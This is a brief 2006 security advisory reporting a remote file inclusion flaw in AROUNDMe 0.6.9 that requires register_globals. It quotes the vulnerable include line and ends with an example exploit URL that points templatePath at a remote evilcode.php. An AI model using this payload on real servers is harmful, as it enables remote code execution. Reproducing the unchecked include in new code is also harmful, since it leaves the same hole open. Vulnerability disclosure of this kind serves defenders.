AROUNDMe0.6.9.txt

`==============================================  
AROUNDMe 0.6.9 remonte file inclusion  
vendor site: http://barnraiser.org/  
vulnerable versions: 0.6.9 (and possibly older)  
  
discovered by: noislet ( http://www.noislet.org/ )  
  
vendor informed: 21.10.2006  
published: 22.10.2006  
==============================================  
  
product info:  
AROUNDMe is the perfect solution for you to bring people together  
around shared goals, activities and interests to form a shared  
knowledge network.  
  
==============================================  
  
bug details:  
Input passed to the "$templatePath" is not verified before being used  
to include files.  
  
required:  
register_globals = On  
  
file:  
pol_view.tpl.php (and others)  
  
buggy code:  
if (isset($poll)) {  
...  
include $templatePath . "poll_detail.inc.tpl.php";  
  
==============================================  
  
example exploitation:  
http://random.site/aroundme/template/barnraiser_01/pol_view.tpl.php?poll=1&templatePath=http://example.com/evilcode.php%00  
  
  
--  
noislet  
\ page http://www.noislet.org/  
`